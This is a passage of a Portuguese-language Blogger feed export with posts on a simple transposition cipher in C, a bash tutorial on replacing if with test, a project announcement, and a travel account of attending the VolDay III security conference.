&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* DEMONSTRA APOS A TRANSPOSICAO */&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf ( &quot;\n\nCodificando -- Transpondo \n\n&quot; );&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( i = 0 ; i &amp;lt; MAX ; i ++ ) {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( j = 0 ; j &amp;lt; MAX ; j ++ )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf ( &quot;%c&quot;, mat[ i ][ j ] ) ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;\n\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;Frase Original&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| w | e | s | l | e | y&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| &amp;nbsp; | h | e | n | r | i&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| q | u | e | &amp;nbsp; | l | e&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| i &amp;nbsp;| t | e &amp;nbsp;| &amp;nbsp; | P | o&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| l | y | b | i | u | s&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| &amp;nbsp; | C | i | p | h | e&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Passando no Papiro&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| w | &amp;nbsp; | q | i | l &amp;nbsp;| &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| e | h | u | t | y | C&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| s | e | e | e | b | i&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| l | n &amp;nbsp;| &amp;nbsp; &amp;nbsp;| &amp;nbsp; | i | p&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| e | r | l | P | u | h&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;| y | i | e | o | s | e&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Codificando -- Transpondo&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;w qil ehutyCseeebiln &amp;nbsp;iperlPuhyieose&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Bem interessante o resultado, tive apenas que inverter a matriz.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Como disse, frases pequenas são fáceis de decodificar, se pegar a mesma frase gerada e submetê-la ao algorítimo teremos um resultado bem próximo do original, assim vemos o primeiro conceito de chave.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;-----&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Bom, vou finalizando por aqui, irei dividir este post em vários, temos algumas técnicas para listar, então retorne ..&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/3655471726630743019/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/06/criptografia-os-antigos-metodos-hoje.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3655471726630743019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3655471726630743019'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/06/criptografia-os-antigos-metodos-hoje.html' title='Criptografia [ Os antigos métodos hoje ] - I'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-9201059900317612090</id><published>2012-05-30T18:24:00.001-03:00</published><updated>2012-05-30T18:24:51.694-03:00</updated><title type='text'>minerinux</title><content type='html'>No ultimo final de semana fui assistir a palestra do Flávio Reis na Estácio de sá, então várias ideias surgiram.&lt;br /&gt;
&lt;br /&gt;
O Flávio já vinha com essa ideia faz um bom tempo e então meio que compramos sua ideia e estamos indo fundo nisso.. &lt;br /&gt;
&lt;br /&gt;
fiquem ligado em breve surgirá o &lt;a href=&quot;http://www.minerinux.com.br/&quot;&gt;www.minerinux.com.br&lt;/a&gt; que já se encontra registrado e em construção.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqt56CDrRPjxicDauhEhfim655PGKrBUHygT7kAsieXZTmd0JYX-2Eg7O9JGN0t1dWCehAYD7VciFAeWqEc5y7AzQwbOvxewM-f2Yn2SWi2YWEHaZVRUq2iZjH7kwTLHq3-VUcAnIPeAk/s1600/435.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;260&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqt56CDrRPjxicDauhEhfim655PGKrBUHygT7kAsieXZTmd0JYX-2Eg7O9JGN0t1dWCehAYD7VciFAeWqEc5y7AzQwbOvxewM-f2Yn2SWi2YWEHaZVRUq2iZjH7kwTLHq3-VUcAnIPeAk/s320/435.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/9201059900317612090/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/05/minerinux.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/9201059900317612090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/9201059900317612090'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/05/minerinux.html' title='minerinux'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqt56CDrRPjxicDauhEhfim655PGKrBUHygT7kAsieXZTmd0JYX-2Eg7O9JGN0t1dWCehAYD7VciFAeWqEc5y7AzQwbOvxewM-f2Yn2SWi2YWEHaZVRUq2iZjH7kwTLHq3-VUcAnIPeAk/s72-c/435.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-988608163580531652</id><published>2012-05-26T13:23:00.001-03:00</published><updated>2012-05-26T19:56:24.793-03:00</updated><title type='text'>Script sem if</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Parece meio impossível, mas não é, quando se utiliza uma estrutura toda baseada em if o script fica feio chato de ler, vou tentar passar um pouco da utilização dessa estrutura sem if, você pode está se perguntando, como irei checar se um determinado valor é verdadeiro? se a quantidade de parâmetros recebido é o suficiente para alimentar nossa função? iremos apenas substituir. vamos a pratica...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
vamos nos basear somente em um pequeno script que &amp;nbsp;recebeu uma quantidade de argumentos e checa se é igual a 3.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
estrutura com if :&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;if [ $# -eq 3 ] ; then ; &amp;nbsp; &amp;nbsp;&amp;lt;COMANDO&amp;gt; &amp;nbsp; ; fi&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
estou representando acima um código executado em apenas uma linha, em um script seria representado da seguinte forma:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;if [ $# -eq 3 ]&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;then&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;lt;COMANDO&amp;gt; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;else&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;lt;COMANDO&amp;gt; &amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;fi&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
utilizando o comando test para realizar a mesma função:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;test $# -eq 3 &amp;amp;&amp;amp; &amp;lt;COMANDO&amp;gt; || &amp;lt;COMANDO&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
substituindo o test por &quot;[ ]&quot; :&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange;&quot;&gt;[ $# -ne 3 ] &amp;amp;&amp;amp; &amp;lt;COMANDO&amp;gt; || &amp;lt;COMANDO&amp;gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
o &quot;[ ]&quot; com espaço representa / substitui o comando test, basicamente poderá utilizar dos mesmos mecanismos para checar como se estivesse trabalhando com o test, é valido e demonstra o quanto está por dentro dos comandos, muitos programadores preferem ler códigos assim.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Conclusão&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Os ifs nunca vão deixar seu programa, mas, como demonstrado acima existem diversas forma de realizar a mesma tarefa e quando estiver trabalhando com códigos grandes separe por funções, ficará bem mais &amp;nbsp;atraente seu script.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/988608163580531652/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/05/script-sem-if.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/988608163580531652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/988608163580531652'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/05/script-sem-if.html' title='Script sem if'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-6162875609113889454</id><published>2012-05-17T11:17:00.001-03:00</published><updated>2012-05-17T11:17:13.851-03:00</updated><title type='text'>VOLDAY3 o que aconteceu lá ?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;No dia 24-03-2012 Partimos para Niterói&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;Destino: Universidade La-Salles&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;Objetivo: &amp;nbsp;VolDay III&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;Saí de casa 4h da manhã peguei o Fabiano Gaspar 4h e 25min isso por que moro a 2min da casa dele, partimos para pegar o Rodrigo, que mora a 15 min do Fabiano, mas, como era madrugada, calculei que demoraria apenas 10 min, encontramos o restante da galera na praça do Largo do Riachuelo (stacruz shopping) entre eles estavam Julio, Sebastião e Weyder faltando ainda pegar a Jessica que pegamos no caminho.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Saimos do centro extamente 5h e 15min e pegamos estrada, tivemos momentos legais e registra-mos algumas fotos...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFPLCxKMtrYAApsTcQsKtWaAdq_etfwQOIVk1f-ostpaP4un1c8A1ydhQc9b3R79wIJOVPEMC1kMD-tcsJinD9zNJosgwcOiNwvE_vwoQEpDxLERxh78jhrTg5GGYmOkDvbwxDlS8lyrg/s1600/reduzir1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;241&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFPLCxKMtrYAApsTcQsKtWaAdq_etfwQOIVk1f-ostpaP4un1c8A1ydhQc9b3R79wIJOVPEMC1kMD-tcsJinD9zNJosgwcOiNwvE_vwoQEpDxLERxh78jhrTg5GGYmOkDvbwxDlS8lyrg/s320/reduzir1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXswJS0qkLUWBoR_dpvWa2MPqhwQkbREGz93Q4vdYI_5siX7wMnZIKWhFAgqMgdFxo25PvERjlDSElyEfmhjzcBHYKs3wFqGDa51fpDt4CLdv0HCAHL4LRjePHadzmgRWhJDtnswVSU9E/s1600/reduzir0.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;237&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXswJS0qkLUWBoR_dpvWa2MPqhwQkbREGz93Q4vdYI_5siX7wMnZIKWhFAgqMgdFxo25PvERjlDSElyEfmhjzcBHYKs3wFqGDa51fpDt4CLdv0HCAHL4LRjePHadzmgRWhJDtnswVSU9E/s320/reduzir0.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;Se não fosse pelo desmoronamento da pista, chegariamos bem no horário no evento, tivemos que pegar um desvio por Itaipava, chegamos a Niterói 9h, nossos amigos que vieram em um carro diferente nos seguindo, pois, tinhas um GPS (Gaspar Position System) chegaram 9h e 30min aproximadamente, o problema é que o GPS entrou em modo soneca (sério, ele faze isso), acabamos pegando um desvio rapidamente e nossos amigos não conseguiram acompanhar pelo motivo do movimento na pista.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;Como chegamos atrasados para a primeira palestra e a fome tava pegando, fomos lanchar, o motivo nem foi só este, uma vez que não tinhamos a primeira palestra planejada.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
O Instituição tem 5 auditórios, 3 laboratórios e 1 sala, então ficávamos andando de auditório em auditório que basicamente estão em blocos e andares diferentes, o Rodrigo desenvolveu um certo transtorno quanto aos botões do elevador, tinhamos 3 elevadores e alguns com problema no botão, algumas vezes não conseguia-mos chegar ao andar que&amp;nbsp;desejava-mos então ele se encarregou de garantir mantendo-o pressionado pelo tempo necessário para que então ele parece no andar que nos dirigia, grande organização de nossa parte.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;Mobile Malware: 10h às 11h&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;A palestrante não consegui chegar a tempo para ministrar, sendo assim fomos dispensados de mais uma palestra, neste momento encontrava meio que frustrado, já que, perdemos a primeira palestra a segundo não teve sendo adiada para 14h, mas já estava com meu cronograma ajustado, não queria perder nenhuma das palestras pré-definidas, então perdeu.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;Treinamento de ASM: 11h às 13h&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;A verdade é que nunca se deve esperar muito de um treinamento relativamente avançado que será ministrado em tão pouco tempo, o intuito desses treinamentos mini-cursos é passar uma ideia básica superficial de alguma coisa e nada muito completo, não que tenha sido ruim, mas nada que eu tenha aprendido de novo, o proposito foi cumprido, Luiz Vieira é muito calmo e passou o conteúdo muito bem e assembly é muito legal.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;ALMOÇO: 13h&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Saímos para o almoço ainda esgotados, mas sem problemas todos bem motivados e esperando as demais palestras do dia, Neste momento, nosso amigo Fabiano apresentou os primeiros indícios de sono...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;Auditoria de Segurança em Redes Sem Fio: 14h às 15h&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
